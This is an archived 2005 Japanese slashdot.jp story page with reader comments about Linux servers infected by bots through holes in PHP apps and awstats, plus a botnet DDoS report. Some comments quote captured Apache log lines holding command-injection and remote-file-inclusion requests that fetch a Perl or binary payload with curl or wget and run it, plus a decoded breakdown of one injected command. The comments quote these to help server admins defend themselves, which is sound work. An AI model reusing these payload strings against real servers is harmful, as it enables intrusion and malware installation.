パスワードを忘れた？ アカウント作成
Close
11536 story

Linuxでもbot感染が拡大 56

ストーリー by yoosee
メンテナンスされていないLinuxサーバほど質が悪いものは無い 部門より

あるAnonymous Coward曰く、"日経ITProの記事によると、米SANS InstituteがLinuxに感染するbotを複数確認したと発表したらしい。 多くの場合、phpアプリケーションのセキュリティホールを突いて感染を広げているようで、複数の脆弱性に対する攻撃手段を持ったものが増えているそうだ。
また、同じ記事でNANOGのMLに投稿されたLinuxによるbotnetのDDoS攻撃の報告も紹介されており、それによるとピーク時で6Gb/sものDDoS攻撃のトラフィックを出したという。

実はこの話、海の向こうだけ話ではない。ITProの記事では何故か触れられていないが、このbotnetの指令サーバは日本にホスティングされており、bot感染ホストの一部には日本のサーバが含まれているのだ。botのIPアドレスリストも掲載されているので、自分の関わるサーバが含まれていないか、または含まれていなくても怪しいIRC通信がサーバから行われていないか確認してみよう。"

この議論は賞味期限が切れたので、アーカイブ化されています。 新たにコメントを付けることはできません。

Linuxでもbot感染が拡大 More

  • perlとかもあるよ (スコア:3, 参考になる)

    by Anonymous Coward on 2005年12月30日 14時51分 (#857373)
    最近でも頻繁に古いphpベースのCMSにあったxmlrpc.phpとかログ解析ソフトawsatats.plの古い版とか狙ったbot感染攻撃が後をたたないでちゅ。linuxサーバーに入っているwgetを使ってshellbotをダウンロードする手口が共通に使われているのでwget消すかrenameしておくと将来的にも安心かも。

    • Re:perlとかもあるよ (スコア:2, 参考になる)

      by nonolin (465) on 2005年12月30日 15時51分 (#857404)
      某セキュリティ系セミナーで
      cacti （これも php）の古いヴァージョンのセキュリティホール突っついて、
      侵入・クラックするデモを見たときも、wget でダウンロードしてました。

      手動でクラックしてるわけではなくて、
      スクリプトで流し込んで実行してるから
      その手のある意味、姑息な対応策も有効なんでしょうけど、
      まー、本質的ではないですね。

      ＃テクニカルサポートのエンジニアで wget とか lynx を
      ＃知らない奴が居て、よくそれでやってるナーと感心したことがあります。
      シェア
      親コメント

    • Re:perlとかもあるよ (スコア:2, 参考になる)

      by Anonymous Coward on 2005年12月30日 16時42分 (#857423)
      うちにも毎日来ます:-(
      たとえばapacheにこんなログが。

      SERVER XX.XXX.XXX.XX - - [20/Sep/2005:08:30:05 +0900] \
      "GET //awstats.pl?configdir=|echo%20;cd%20/tmp;\
      rm%20-rf%20*;curl%20-O%20http://www.geoXXXXXX.com\
      /h4x000r/a.pl;perl%20a.pl;echo%20;rm%20-rf%20a.pl*;\
      echo| HTTP/1.1" 404 472

      おそらくこんな感じ?

      echo ;
      cd /tmp;
      rm -rf *;
      curl -O http://www.geoXXXXXX.com/h4x000r/a.pl;
      perl a.pl;
      echo ;
      rm -rf a.pl*;
      echo |

      xmrpc.php(これも毎日来てます)については良く知らないので
      どなたかよろしく。

      # 合わせ技らしいアタックもブログに書いたはずだけど、どこいった...
      シェア
      親コメント

      • Re:perlとかもあるよ (スコア:1, 参考になる)

        by Anonymous Coward on 2005年12月30日 17時32分 (#857461)
        xmlrpc.phpですね。

        ぐぐると色々出てきますね。
        勉強になります。
        うちはawstats.plの方しか来たこと無いですけど・・・
        シェア
        親コメント
  • 「Windowsはセキュリティに問題があるけどLinuxなら安心」みたいな安直な考えでLinuxを使ってるヤツが多いんだろうな。
    Linuxを勧める側も、相手をみて勧めるべきか考えた方がいい時期にきているのかも。
    ＃まあWindowsだってバカには使いこなせない訳だが。

    • 放置されてるだけじゃないの？ (スコア:4, おもしろおかしい)

      by Anonymous Coward on 2005年12月30日 23時58分 (#857568)
      ある日、森の中を散歩していたら、2人の狩人さんに出会いました。

      私「狩人さんは、Linux機を自慢しているのに、どうしていつもWin機をいじってるの？

      狩人さんA「それはえろげー♪(sing

      狩人さんB「それはえろげー♪(sing

      狩人さんA&B「それはえろげが、好・き・だ・か・らさ～♪(chorus

      私「なるほどぉ。
      シェア
      親コメント

  • メンテナンスされていないLinuxサーバほど質が悪いものは無い部門より (スコア:2, すばらしい洞察)

    by Anonymous Coward on 2005年12月30日 13時16分 (#857322)
    あつ
    どうメンテナンスすればLinuxサーバが良くなるのかわからない部門が多い事

  • 結構壮観だな (スコア:2, 興味深い)

    by Anonymous Coward on 2005年12月31日 1時05分 (#857586)
    http://www.lancard.com/archives/20050517ShellBOTers.png [lancard.com]
    このうち何台ぐらいがLinuxだったんだろうねえ
  • うちのサーバーのログを見ると、awstatsとphp関係の
    アプリを探しているのが多いですね。

    [client 12.154.116.27] client denied by server configuration: /var/www/empty/awstats
    [client 12.173.145.178] client denied by server configuration: /usr/lib/cgi-bin/awstats
    [client 12.173.145.178] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/awstats
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/blog
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/blogs
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/drupal
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/phpgroupware
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/wordpress
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/xmlrpc
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/xmlrpc.php
    [client 12.173.145.178] client denied by server configuration: /var/www/empty/xmlsrv
    [client 149.156.116.238] client denied by server configuration: /var/www/empty/Forums
    [client 149.156.116.238] client denied by server configuration: /var/www/empty/admin_styles.phpadmin_styles.php
    [client 149.156.116.238] client denied by server configuration: /var/www/empty/modules
    [client 200.27.221.5] client denied by server configuration: /usr/lib/cgi-bin/awstats
    [client 200.27.221.5] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
    [client 200.27.221.5] client denied by server configuration: /var/www/empty/awstats
    [client 200.27.221.5] client denied by server configuration: /var/www/empty/cvs
    [client 200.27.221.5] client denied by server configuration: /var/www/empty/index.php
    [client 200.27.221.5] client denied by server configuration: /var/www/empty/index2.php
    [client 200.27.221.5] client denied by server configuration: /var/www/empty/mambo
    [client 219.202.188.32] client denied by server configuration: /usr/lib/cgi-bin/awstats
    [client 219.202.188.32] client denied by server configuration: /usr/lib/cgi-bin/awstats.pl
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/awstats
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/blog
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/blogs
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/drupal
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/phpgroupware
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/wordpress
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/xmlrpc
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/xmlrpc.php
    [client 219.202.188.32] client denied by server configuration: /var/www/empty/xmlsrv
    [client 38.116.11.34] client denied by server configuration: /var/www/empty/cvs
    [client 38.116.11.34] client denied by server configuration: /var/www/empty/index.php
    [client 38.116.11.34] client denied by server configuration: /var/www/empty/index2.php
    [client 38.116.11.34] client denied by server configuration: /var/www/empty/mambo
    [client 38.116.11.34] client denied by server configuration: /var/www/empty/php
    [client 61.19.121.46] client denied by server configuration: /var/www/empty/cvs
    [client 61.19.121.46] client denied by server configuration: /var/www/empty/index.php
    [client 61.19.121.46] client denied by server configuration: /var/www/empty/index2.php
    [client 61.19.121.46] client denied by server configuration: /var/www/empty/mambo
    [client 61.19.121.46] client denied by server configuration: /var/www/empty/php
    [client 61.220.239.227] client denied by server configuration: /usr/lib/cgi-bin/awstats
    [client 61.220.239.227] client denied by server configuration: /usr/lib/cgi-bi
    --
    romfffromのコメント設定
    AC-2、プラスモデ+3、閾値0、スコアを表示しない(推奨)、高い評価のコメントを親にする
  • 私の家のサーバでも来ていました。
    #cat access_log.2 | grep php | nl > con
    #less con
    #その一部を引用
       326  66.232.153.99 - - [25/Dec/2005:03:20:34 +0900] "GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosC
    onfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo|  HTTP\x01.
    1" 404 301 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
       327  66.232.153.99 - - [25/Dec/2005:03:20:35 +0900] "GET /php/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosC
    onfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo|  HTTP\x01.
    1" 404 301 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

    #cat access_log.2 | grep pl | nl > con2
    #less con2
    #その一部を引用
        88  195.74.109.37 - - [24/Dec/2005:19:40:36 +0900] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e136%2e48%
    2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo|  HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1
    ;)"
        89  195.74.109.37 - - [24/Dec/2005:19:40:38 +0900] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20209%2e1
    36%2e48%2e69%2fmirela%3bchmod%20%2bx%20mirela%3b%2e%2fmirela;echo%20YYY;echo|  HTTP/1.1" 404 307 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Window
    s NT 5.1;)"
    (END)
    流行っているようですね。

  • なにをいまさら.... (スコア:1, すばらしい洞察)

    by Anonymous Coward on 2005年12月30日 13時58分 (#857341)
    php系のワームとかawstatsのとか、かなり前から死ぬほどアタック来てるだろうに....
    IDSとか入れないんか？
  • 一応IPアドレスリストを眺めてみました。
    なんと言うか、合格発表とか宝くじの当選番号を調べる気分になった私です。

    Xoopsとか狙われそうだし気をつけよう…。

  • Linux を使わなければいい (スコア:0, 荒らし)

    by Anonymous Coward on 2005年12月30日 14時21分 (#857359)
    いいかげんに目を覚まそう。 [srad.jp]

  • 忘れ物をお届けにまいりました (スコア:0, すばらしい洞察)

    by Anonymous Coward on 2005年12月30日 14時38分 (#857367)
    セキュリティホールが浜の真砂の如く尽きない感もあるLinuxですが

  • アホくさ (スコア:0, フレームのもと)

    by Technical Type (3408) on 2005年12月30日 15時40分 (#857396)
    これって、Linux 等で動くPHPアプリケーションにセキュリティ・ホールがあるという話でしょ？　話を故意に混同して「Linux だって弱いんだ～！」って大喜びしなくてもねぇ、、、

    じゃ、私がセキュリティを考えずに Windows で動くプログラムを作り、それを動かしたらWindows のセキュリティーは低いという結論になるわけですね、 /. 読者は。

    • Re:だから、 (スコア:3, 参考になる)

      by shumiyao (17941) <{na} {at} {na.com}> on 2005年12月30日 16時48分 (#857433) ホームページ
      当然ながら、こういう流れも期待しております。

      １＞最近Linuxをとりあえず入れとけ的な、右も左も分らない初心者層が増えて来た。
      ２＞ロクにメンテもされていない常時接続されているLinuxマシンが多くなってきた事も、原因の一つと思われる
      ３＞どうすれば、こういったユーザ層に対してセキュリティ啓発を出来るか・具体的に（／。読者として）どういった対策を取る事が出来るか・ディストリビューション側に何か働きかける事は無いか（等
      シェア
      親コメント

    • Re:アホくさ (スコア:3, すばらしい洞察)

      by Anonymous Cowerd (24277) on 2005年12月30日 23時21分 (#857552)
      これって、Linux 等で動くPHPアプリケーションにセキュリティ・ホールがあるという話でしょ？　話を故意に混同して「Linux だって弱いんだ～！」って大喜びしなくてもねぇ、、、

      そのような考えを持つ者が周囲にLinuxを推奨しておいて、後の面倒を見ずに中途半端に放置するからこのような事態になっているわけですよね。
      LinuxだからとかWindowsだからとかいう問題ではなく、LinuxだってWindowsと同じように狙われていて、現在機能するbotnetが実際にLinuxサーバを用いて作られているという話なのに、すぐイデオロギーの話に摩り替えて誤魔化してしまう。

      Linuxサーバに侵入する穴が何なのかはとりあえず横に置いておいて、今回問題なのはLinuxで動作するbotが大量に出回っているということです。
      さらに悪いことに、botが動作していて攻撃に使われていると通報を入れても放置されているという状況があるわけです。
      もしあなたのような考えを持つエセ管理者が大量にいるとしたら、そして掲載されたbotnetに含まれるサーバ管理者がそのような考えを持っているとしたら、いつ、どこのネットワークが6GbpsのDDoSを喰らっても防ぐことはできないでしょうし、なくならないでしょうね。

      もし自分がオリジナルのbotnetを作ろうと思ったら、狙うのはLinux環境だと思います。
      探せばbotに使えそうなコードがオープンソースでいくらでもありますし、Windowsと違ってアンチウィルスソフトウェアの導入も少ない上に、固定IPで２４時間運用されているサーバが多いですから。

      ところでPHPアプリケーションの脆弱性だけしか考えていないようですが、botnetによる攻撃を確認・調査したProlexic Technologies社のBarrett Lyon氏は、 "We are not sure of the current infection method but it must be a common Redhat Linux vulnerability." と述べています。
      おそらく各ゾンビマシン(bot)を逆にスキャンしたのでしょうけど。

      シェア
      親コメント

    • Re:アホくさ (スコア:2, すばらしい洞察)

      by kitsune.info (18329) on 2005年12月30日 16時56分 (#857438) ホームページ

      ま、確かに原因は PHP アプリケーション側のサニタイズが不十分だってことが多いのですが。
      Apache + PHP がデフォルトで動くようになっているディストリビューションがあるわけですから、OS 単位じゃなくてもディストリビューション単位で論じる値打ちはあるかも知れませんよ。

      ActiveX に脆弱性がある Windows は……やっぱり危険でしょ？

      --
      [わかってもらうことは難しい。わかってあげることは、もっと難しい。]
      シェア
      親コメント

    • Re:アホくさ (スコア:1, すばらしい洞察)

      by Anonymous Coward on 2005年12月30日 23時37分 (#857561)
      簡単な結論としては、脆弱性を抱えるのはOSに依存する割合より人に依存する割合の方が圧倒的に高い。という事でしょう。

      きちんと管理できる人であれば、Linuxであろうと、Windowsであろうと安全でしょう。
      管理できなければOSを問わず危険だとは思いませんか？
      シェア
      親コメント

    • Re:アホくさ (スコア:0)

      by Anonymous Coward
      あー、LINUXでも悪意のあるコードが実行できる そして現にそれが拡大しつつあるということを言って いるんだろう あと、安全であるという確固たる証明があまりされて いないのもねぇ LINUXって生まれてから今まででどの位セキュリティ アップデートしてるっけ…

  • 結局 (スコア:0)

    by Anonymous Coward on 2005年12月30日 23時47分 (#857564)
    やることやらない奴ぁ、Windows だろうが Linux だろうが Mac OS X だろうが何を使ってもダメというこったな。こういうやつらには W-ZERO3 とか iPAQ でもやっとけ、というふうにならんかね...

    --
    内部にある「管理不行届サーバ」の管理者に悩まされる管理者

  • LinuxBOXの数 (スコア:0)

    by Anonymous Coward on 2005年12月31日 1時29分 (#857594)
    そんなに増えてるんでしょうか
    サーバ用途なら*BSDって伝説は既に過去のもの？

    # とか言いつつうちのサーバはLinuxなんですけどね

    • Re:LinuxBOXの数 (スコア:2, 参考になる)

      by myzn (1265) on 2005年12月31日 11時16分 (#857688)
      宣伝の効果だと思いますが、最近は俗に言うエンタープライズ級サーバなら
      Linuxの方に分があるように感じます。

      *BSDでも同等の事は出来るんでしょうけど、雑誌やWebで
      目に付くのはLinuxの方が多いと思います。

      一方で、中古のノートPCにデスクトップ環境を作ろうと、
      いくつかのLinuxディストリビューションを試してみましたが
      サウンド・ビデオ・PCカード・内蔵無線LANを上手くハンドリング出来るものは
      意外に少なく、ダメ元でFreeBSDを入れてみると、かなりマトモに動いてしまったので
      デスクトップ用途ならFreeBSDか？とも思ったり。

      # サスペンド/レジュームが動かなかったので Ubuntu に落ち着きましたが
      シェア
      親コメント
typodupeerror

ソースを見ろ -- ある4桁UID